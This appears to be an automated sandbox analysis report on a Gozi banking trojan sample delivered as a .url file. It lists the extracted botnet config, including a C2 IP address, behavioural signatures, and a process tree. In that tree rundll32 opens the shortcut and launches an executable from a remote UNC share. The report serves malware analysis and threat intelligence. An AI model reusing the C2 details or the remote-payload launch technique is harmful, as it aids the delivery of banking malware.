Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/10/2023, 12:19

General

  • Target
    Cliente.url
  • Size 191B
  • Sample231010-pg6dmadd51
  • SHA256 420c6c6ee2d0fb0c3797a919419fda32987ce9e58d0c121e278856d9e0615ce1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • gozi

Extracted

Family
  • gozi

Botnet
  • 5050

C2
  • 193.203.162.14

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Cliente.url
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2944
    • \??\UNC\62.173.146.71\scarica\parte.exe
      "\\62.173.146.71\scarica\parte.exe"
      2⤵
        PID:4604

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/4604-1-0x0000000002460000-0x0000000002560000-memory.dmp

          memory/4604-2-0x0000000002430000-0x000000000243B000-memory.dmp

          memory/4604-3-0x0000000000400000-0x0000000002287000-memory.dmp

          memory/4604-4-0x0000000002450000-0x000000000245D000-memory.dmp

          memory/4604-7-0x0000000000400000-0x0000000002287000-memory.dmp

          memory/4604-8-0x0000000002460000-0x0000000002560000-memory.dmp

          memory/4604-9-0x0000000002430000-0x000000000243B000-memory.dmp